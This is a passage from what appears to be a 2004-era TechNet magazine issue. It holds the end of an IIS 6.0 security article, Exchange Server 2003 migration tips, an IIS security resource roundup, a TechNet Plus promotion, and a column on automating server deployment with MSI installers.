Since we're talking about log files, for security and troubleshooting purposes you should know about an entirely new log file available from IIS 6.0. A brief explanation helps to explain why this log is necessary.
IIS 6.0 contains a kernel-mode HTTP parsing engine and cache called http.sys. When the http.sys listener encounters an error, it requires a place to record it, and so its developers invented the httperr(x).log files which you can find in \system32\logfiles\httperr. Httperr logs have an entry when requests are rejected by the http.sys. Http.sys, which hands off requests to IIS 6.0 applications, won't take requests that do not meet specific criteria. Client requests for content must be well-formed HTTP 1.1, meet size constraints, not have any high-order bit characters, and not violate other well-defined rules (see INF: Http.sys Registry Settings for IIS for information on configurable parameters). An attacker will almost certainly leave tracks in this log, so be sure to include a review of the httperr logs located at \system32\logfiles\httperr in your regular monitoring tasks.

IIS 6.0 and NTFS Permissions
Many IIS servers store content in and under the \inetpub\wwwroot folder. With IIS 6.0, the wwwroot folder has tighter permissions than with previous versions of IIS, and you may need to make some modifications in order to once again get your applications working effectively.
For example, the IIS anonymous user account is given the Deny Write permission. You might need to modify this permission for certain scripts to work that need write permission for Web Forms or for other applications that write to the files in the context of the anonymous user.
Another more common problem arises when you don't use the \inetpub\wwwroot folder for content. There is a new group in IIS 6.0 called the IIS_WPG that will require at least read access to your entire site's content when you run ASP.NET applications. Failure to do so will result in the return of an ASP.NET error message similar to the following:
Exception Details:
System.UnauthorizedAccessException:
Access to the path "D:\data\txtinv.txt" is denied.

ASP.NET is not authorized to access the requested resource...
Allowing the IIS_WPG access to the all your Web content will avoid this and other related problems.

Wrap Up
Of course, this isn't a complete review, but these issues are at the top of the list of new security-related tasks for administering IIS 6.0. I would be remiss without mentioning that you should always keep your server(s) fully patched (make sure you visit Windows® Update frequently) and that you should continue to monitor for unusual activity. Don't forget to check out the aforementioned Log Parser tool, as it will make your IIS-related tasks easier. Also, keep an eye out for other new and exciting tools to assist with keeping your IIS servers running smoothly and securely.

Brett Hill is an IIS MVP and runs IISTraining.com, IISFAQ.com, and IISAnswers.com. He is a regular speaker at TechEd and Windows Connections conferences, and is considered one of the nation's leading authorities on IIS. You can reach Brett at IISTraining.com.


 Round Up: 15 Tips For A Smooth Migration To Exchange Server 2003
Round Up
15 Tips For A Smooth Migration To Exchange Server 2003
Jenna Lyday

If you've heard that it's difficult to migrate from Exchange 5.5 to Exchange Server 2003, don't worry—there are steps you can take to simplify the upgrade process.
While the list that follows does not represent an exhaustive Exchange deployment plan, it does represent the situations we often see in customer environments that adversely affect the deployment process.

1 Use the Microsoft® Exchange Server Deployment Tools. These are new in the 2003 release of Exchange Server, and will greatly help in guiding you through a successful deployment process. Included is an array of tools designed to diagnose and/or verify a wide variety of conditions that you might encounter.
2 Keep in mind that Exchange Server 2003 makes widespread use of DNS in all its sundry forms. Because Exchange is a major consumer of DNS, it will quickly and effectively expose any related issues. Steps 3 through 8 will help you ensure DNS is ready before installing Exchange Server. (For more about DNS, see the How IT Works column by Regis Donovan in this issue.)
3 Confirm that your Mail Exchange (MX) records are pointing to the correct server or IP address.
4 Verify that your DNS server is configured to use forwarders for addresses it is unable to resolve internally, instead of being pointed directly to an external DNS resolver. This is a good rule in general.
5 Check that your local member servers are pointed to your local DNS server and not to an external resolver. The trick here is that you want to be able to find the other machines on your LAN and not just machines on the Internet.
6 Certify that the Domain Controller (DC) acting as your schema master is using a DNS server that is accessible by your local servers. If the schema master is the DNS server, make sure that it is configured to use its own IP address for DNS and is the preferred DNS server of the member servers.
7 Confirm on the first page of Properties on the zone that your DNS server is configured to Allow Dynamic Update.
8 Verify that your DNS records contain entries under the domain, labeled _mcdcs, _sites, _tcp, and _udp, in addition to the Host records. If you do not see these entries and have already verified that Dynamic Update is enabled, go to your DCs and type "net stop netlogon" followed by "net start netlogon" from a command prompt. This will restart the Netlogon service and cause the DC to reregister its service resource records (SRV records).
9 Verify that you can resolve the name of your mail server and your DC(s) by both short name and Fully Qualified Domain Name (FQDN).
10Ensure that the first Exchange 2003 server that you install is not a cluster if your current e-mail environment contains Exchange 5.5 and no subsequent Exchange versions. Some Exchange services are supported on a cluster, but some are not. One of the services not supported on a cluster is the Site Replication Service (SRS), which allows Exchange 2003 and Exchange 5.5 to be on speaking terms. It's important that the first server that goes in is able to create the SRS and start communications.
11Install the Active Directory® Connector (ADC) and configure Connection Agreements (CAs) if your Exchange organization is Exchange 5.5. I strongly recommend that you use the ADC Tools, included with your ADC installation, to generate these CAs.
12Check that all ADC servers are upgraded to the proper Exchange 2003 version before you embark on your Exchange 2003 rollout if you are upgrading from Exchange 2000 mixed mode. I also strongly recommend that after upgrading your ADC servers you use the ADC Tools to revalidate any existing CAs.
13Remember that if you have third-party applications running on your Exchange server, you should check with your vendor to confirm that they have a compatible version available, and acquire it for installation on your new Exchange server. If your migration is an upgrade of an existing Exchange deployment, uninstall your third-party applications prior to the upgrade and reinstall the new version after the upgrade. (Note: upgrading to Microsoft Exchange 2003 is supported only on an Exchange 2000 server.)
14If you are upgrading from Exchange 2000, verify that you account for services that are no longer supported in Exchange 2003. These include:
  • Microsoft Mobile Information Server
  • Instant Messaging Service
  • Exchange Chat Service
  • Exchange 2000 Conferencing Server
  • Key Management Service
  • cc:Mail connector
  • MS Mail connector
If any of these services are running on the Exchange server you plan to upgrade, you should remove them with Exchange setup before you move on. If you're going to need any of these services, you will need to keep at least one Exchange 2000 server available to run the service.

15Make sure the time onthe server that you are installing on is in sync with the time on your DCs. If the time is off by more than five minutes, Kerberos authentication will fail and you won't be able to perform any operations that require permissions on the Active Directory. If the times are out of sync, you can type "net time /set \\<DomainController>" from the command prompt on the Exchange server to fix it.

Comprehensive information about planning an Exchange deployment is available from the Exchange Server 2003 Technical Documentation Library, where you can find resources such as Planning an Exchange Server 2003 Messaging System and Exchange Server 2003 Deployment Guide. In addition, in the 2003 release of Exchange Server you'll find deployment tools, which will further help in guiding you through a successful deployment process. But to start, consider these 15 guidelines and you'll have a smoother transition to Exchange Server 2003.

Jenna Lyday is a Software Test Engineer on the Microsoft Exchange team, where she has been testing Exchange deployments for the last four years. Previously, she was an Exchange administrator.


 Resources: IIS 6.0 Security
Resources
IIS 6.0 Security
Phil Sherwood

In today's business environment, most organizations are using Web servers to extend products and services to both internal and external customers. At the same time, attackers are increasing their relentlessness and sophistication. To enable secure Web infrastructures based on reliable, high-performance Web server platforms, Microsoft built IIS 6.0 from the ground up with a focus on security as a core design criterion.
Although security is a critical topic in the field of information technology today, few IT professionals have the time to dig through the volume of information available on MSDN®, TechNet, the IIS Technology Center on Microsoft.com, and elsewhere.
However, the relatively new Web site TryIIS.com simplifies searching by providing a collection of valuable, security-focused IIS 6.0 overviews and technical resources, summarized at Try IIS 6.0. The various offerings range from executive and technical webcasts, papers for both technical and business management personnel, FAQs, detailed technical IIS 6.0 documentation, and links to other focused online security centers.
The following is a sample of what's available on TryIIS.com.

Papers and FAQs
Looking for IIS resources that you can access offline from your Tablet PC or stuff into your pocket and reference on the subway? A white paper, several technical papers, and a magazine article all examine Window Server™ 2003 and IIS 6.0 security capabilities in different levels of detail. A short collection of FAQs also provides some brief explanations of IIS components.
Starting on the less technical side, Understanding Internet Information Security provides an overview of the IIS security model. This is a manageable introduction for those on the business side and can serve as a quick, high-level scan and refresher for the more technical type. Note that the text on the page is a truncated version of the Word document downloadable from the link towards the top of the page. It's worth the time to download and print the .doc file, 19 nicely formatted pages in total, about 10 of which contain the meat and potatoes of the subject.
Also a discussion of the IIS security model (but at the code level and assuming the reader's substantial technical familiarity with IIS and Windows NT®) is Microsoft Internet Information Server Security Overview. It's drawn from the MSDN library and amounts to about 10 pages of text. After dispensing with some very high-level questions ("Why Security Is Important," for example), it digs into more nuts-and-bolts topics such as authentication, access control and related considerations, data integrity, digital certificates, and the CryptoAPI.
Still more technically substantial and running close to 40 pages is Technical Overview of Windows Server 2003 Security Services, published in July 2002. The table of contents appears on this page; the paper itself also provides an extensive collection of links. Within the overview, the paper discusses the security-related Windows Server tools and processes: authentication, access control, security policy, auditing, Active Directory® data protection, network data protection, public key infrastructure (PKI), and trusts. Although the mentions of IIS are contained on pages 4 and 5, the Windows Server 2003 content that makes up the majority of the article covers the strong foundation on which IIS is built.
To round out the offerings, a technical paper, "For Developers: Innovations in IIS Security," is the online reprint of a September 2002 MSDN Magazine article titled, "Innovations in Internet Information Services Let You Tightly Guard Secure Data and Server Processes" and amounts to about eight hard copy pages. It covers the use of IIS Lockdown to shut down services when needed, limiting port access with TCP/IP filtering, controlling file serving with extension mapping, new developments in SSL, the use of URLScan, and more.

Webcasts
Customer responses to Microsoft-sponsored webcasts have been very positive. While gaining access to these webcasts requires a couple of brief steps, these online seminars are worth the few moments spent logging in. Most webcasts range between 70 and 100 minutes in length and between 8.5 and 13MB in download size.
One of the many webcasts available is Microsoft Executive Circle Webcast: Advanced Web Server Security with IIS 6.0 and Windows Server 2003, by IIS Security Program Manager Vikas Malhotra and IIS MVP Brett Hill, introduced by IIS Product Manager Mary Alice Colvin. Relevant for business and technical personnel, it explains how security improvements in both IIS 6.0 and Windows Server 2003 enable deployment of secure Web servers and reduce costs.
Other webcasts dig further into technical detail about IIS 6.0 security features. Starting with a bit of history, Securing Internet Information Services (presented by Malhotra; about 70 minutes long) covers previous IIS architectures and then reviews the security architecture rebuilt for IIS 6.0, which is locked down by default. It explains how new features, such as fault-tolerant process isolation, help protect against intrusions.
Effectively Using IIS Security (Malhotra; 90 minutes) provides an overview of the big picture by reviewing the new IIS 6.0 security architecture before it explores the underlying security principles of IIS 6.0. It also illustrates how the new security features help protect Web servers against hackers. A 7.3MB PDF slide deck, downloadable separately, accompanies this presentation.
Authentication protocols are the focus of The Ins and Outs of Authentication in IIS 4.0, 5.0, and 6.0—Level 200 (Chris Adams, IIS supportability lead; 85 minutes). This presentation addresses ways to secure IIS servers with good authentication schemes, a critical part of establishing server security, by explaining how anonymous, basic, and other authentication methods work.
If you're considering migrating to IIS 6.0 from the 4.0 or 5.0 releases you will want to watch The Inside Scoop: The Good, the Bad, and the Ugly of IIS 5.0 Isolation Mode in IIS 6.0 (Level 300) (Chris Adams, IIS supportability lead; 82 minutes). The presentation focuses on determining which applications implemented on earlier releases of IIS are well suited for immediate migration to IIS 6.0, with its new worker process isolation mode, and which are candidates for running in IIS 5.0 Isolation Mode temporarily while they're updated to take advantage of the new architecture of IIS 6.0. The pitfalls and costs of using IIS 5.0 Isolation Mode on Windows Server 2003 are also discussed.
Windows and Exchange administrators and others who have to ensure secure data transmission between clients and Windows and Exchange servers form the primary audience for Troubleshooting Secure Socket Layer (Adams; 90 minutes). This presentation discusses SSL on each supported IIS platform and also lays out some tips and tricks that simplify troubleshooting.

Online Security Centers
Expanding beyond the very specific technical documentation are the two different online security centers included on the TryIIS.com Web site. The first is the Online IIS Security Center, which provides the latest security updates, troubleshooting advice, configuration and administration guidance, and in-depth information on specific security topics for all versions of IIS Web servers.
Starting at the In-depth Guidance for Securing Computer Systems heading at the IIS Security Center, traversing a few linked pages, and then scanning for IIS reveals the following three items of interest.
  • Checklists for configuring the Active Directory IIS server organizational unit structure as well as for hardening the IIS server: Checklist - IIS Server Backup and Recovery
  • A detailed guide to hardening an IIS server, complete with follow up technical references: Hardening Windows Server 2003 IIS Servers
  • Detailed explanations and step-by-step instructions for running IIS Lockdown: How To Use IISLockdown
The second recommended site is the Online Microsoft Security Center. While this site is not specifically an IIS 6.0 resource, it does provide a handy central location to keep current on recent viruses, hack attempts, and other security incidents as well as security bulletins, updates, and corporate-level security information.

The e-Business Foundation Winner
The in-depth emphasis on security in IIS 6.0 might take the surprise out of learning that IIS 6.0 is an eWEEK award winner. In April 2004, eWEEK, a prominent e-business, communications, and Internet-based architecture newsletter, acknowledged the new strength and security of Windows Server 2003 and IIS 6.0. It declared the pair as the winner in the Best e-Business Foundation category, based "on the strength of the components it combines for building an organization's basic IT infrastructure."
The award also singled out the improved security features: "Chief among those was the move to the all-new IIS (Internet Information Services) 6.0 Web server, which is faster, more reliable and more secure than the previous version of IIS. What's more, IIS 6.0 is not installed by default in Windows Server 2003, which reduces unnecessary exposure. In addition, IIS 6.0 is better suited than its predecessor as a development platform target." (Source: E-Business Foundations)
To look past industry awards, visit the security page on the TryIIS.com Web site to discover the resources described here, and more. The site lays out in both summary form and technical detail the elements that make Windows Server 2003 and IIS 6.0 meet business and organizational needs for a secure, high-performance Web infrastructure.

Phil Sherwood (pts@centurytel.net) is principal of Witan Consulting, which provides technical and marketing writing, product and program management, and general business management support to both small businesses and large technology development companies.


 TechNet Update: New Benefits Deliver More Value to TechNet Plus Subscribers!
TechNet Update
New Benefits Deliver More Value to TechNet Plus Subscribers!

Microsoft is committed to delivering a comprehensive, centralized set of resources to help you solve technical problems, plan and deploy Microsoft technologies, and build your skills. To support this, the Microsoft TechNet Plus 2.0 subscription will include a new set of groundbreaking features starting in the fall of 2004. Take a look at what's in store for TechNet Plus 2.0 subscribers:

No more time-bombed software!
Full-version software will replace time-bombed software to provide more flexibility to TechNet Plus 2.0 subscribers conducting evaluations. This enhancement supplies you with a cost-effective solution for trying the latest Microsoft technologies.
TechNet Plus 2.0 subscribers receive beta software automatically so that they can spend more time cultivating skills on upcoming Microsoft products. Keeping new software skills fresh and up to date gives you a competitive advantage when you're creating cutting-edge solutions.

Enhanced technical support options
TechNet Plus 2.0 provides a range of support choices to help solve technical problems fast. The improved TechNet support offering has been developed in response to customer feedback, highlighting the Microsoft commitment to addressing customer needs. New TechNet Plus 2.0 subscriber support benefits include:
  • Complimentary technical support incidents to help you save time resolving mission-critical issues. Two complimentary phone or online support incidents included with each TechNet Plus 2.0 subscription deliver access to a team of world-class professionals who will help provide the best solution possible.
  • Discounted professional phone incidents for supported Microsoft software will also be available to TechNet Plus 2.0 subscribers to ensure that there is a resource available to address your technical questions.
  • Unlimited technical assistance in managed newsgroups.
TechNet Plus 2.0 subscribers will get enhanced levels of service in Managed Newsgroups by guaranteeing a next business day response in more than 90 IT-related public newsgroups. This service allows you to tap the vast pool of knowledge and experience Microsoft support professionals have to offer. You can browse other posts and exchange information with peers and members of the Microsoft MVP community. Or, you can even post a question and receive an answer tailored to your specific problem.

More learning resources
TechNet subscriptions will include even more resources to help you sharpen your skills and find answers to questions about Microsoft technologies. Whether you like to install an application and just start using it, tinker in a virtual lab environment, or search through a library of online books, TechNet Plus 2.0 provides the resources to help you hone your skills and be successful with Microsoft technologies.

Updates on CD or DVD every month
Security bulletins, updates, and hotfixes will be delivered on CD or DVD every month to ensure you have vital security resources at your fingertips regardless of Web connectivity or other constraints. This gives you the flexibility to proactively install the latest fixes every month and so you rest assured that the most current security bulletins and updates are always available.
These new benefits will be available beginning in November 2004. For more information on the TechNet subscription, visit TechNet Subscriptions.


 Field Notes: IT And Life Experiences
Field Notes
IT And Life Experiences
Andrew Shuman

So here is the situation. You've been here before, a hundred times if not more. Your server worked perfectly, flawlessly serving up Web pages, photos from the company meeting, and departmental memos on cost-cutting measures. Now it hums at you the same as always, but pages are not displaying, password prompts are appearing where they shouldn't, other sites have complete open access when they should be locked down, and "file not found" errors are popping up everywhere. You sit, staring at the machine, feeling like you've lost your puppy. "But it was just working fine" you exclaim. You start the crusade to find out who did this to you: who wounded your pet server.
It turns out everyone has had a hand in it. Janet down the hall needed to run a quick test for some new code. Quentin wanted to compare his settings against your server. Robert tuned the performance configuration to improve his application's data access speed. Now what are you to do? How can you retrieve your most sacred machine from the grave?
Well, I'm happy to say that from the depths of hell comes good advice and good stories on how to protect yourself from harm's way. Invest in properly maintaining a setup application for even your surliest of server components. I realize you're probably looking at this page askance right now. "Setup? For server components? I just copy those files in there and start tweaking settings. Why waste time? Just get the damn thing running." Ah yes, I hear your words, for they are my own. Many times I would have said the same thing to a person, kicked him out of my office, and slammed the door. However, I have learned the error of my ways. Investing in deployment technology, even for my server-side components, has saved my butt.
My team depends on the Microsoft® Windows® Installer system (MSI files) to handle all sorts of server settings from virtual roots in IIS, to SQL configurations, to Web pages, to security. Anyone who has installed Microsoft Office or SQL Server™ has seen the UI for an MSI, where you can specify folder locations and application settings. For the IT professional wrestling with server components, this is where you can now specify the things that are unique for each topology where you might deploy your bits—for example, which drive to use, the physical server names, the connection to your database, credentials to run services under, and more.
Our deployment code was the first investment we made on the support tools for the MSN® services team. It took one developer about four weeks to upgrade a legacy system, based only on an obsolete installation document, to a fully automated deployment. The biggest problem was convincing the naysayers on our team that it could indeed be accomplished! The costs paid off very quickly by speeding up our deployment time and accuracy. Before the automation, our deployments were sorry affairs conducted in the middle of the night because they took so damn long and were impossible to test beforehand. Friday nights from midnight until 4 A.M. were reserved not for sleep, but for the grueling synchronization of server settings.
After the automation implementation, we had a simple checklist "Did you run the install script? Yes/No." Our deployments dropped from multiple hours to just minutes. Obviously, there are pains to go through. It is tricky to completely avoid having an installation document, and if you have a complex system, guess what? The deployment will still be complex. We have found time and time again though that the investment pays off and gives us a framework to then bring in new features like zero-downtime deployment to completely minimize customer impact.
The benefits of this investment are huge. Not only do you have a way to bring your servers back to a well-known state after someone stomps on them, but you can now manage testing in a far more predictable fashion. No longer are developers spending gobs of time making various servers work; they can write the deployment code once and then reuse it for testing as well as production. The code pays off again when you do a hardware upgrade, or if you rebuild a machine from the ground up.
I won't go through all the machinations of how to create an MSI as there are far too many great resources out there for you. MSDN® Online is chock full of articles, as is www.installsite.org. InstallShield and Wise offer third-party products to help any developer in creating their setup routines. So deploy and be proud that you did!

Andrew Shuman has been a developer, program manager, writer, and product unit manager at Microsoft for the past 10 years. He currently runs a team in MSN responsible for producing the platform for membership services.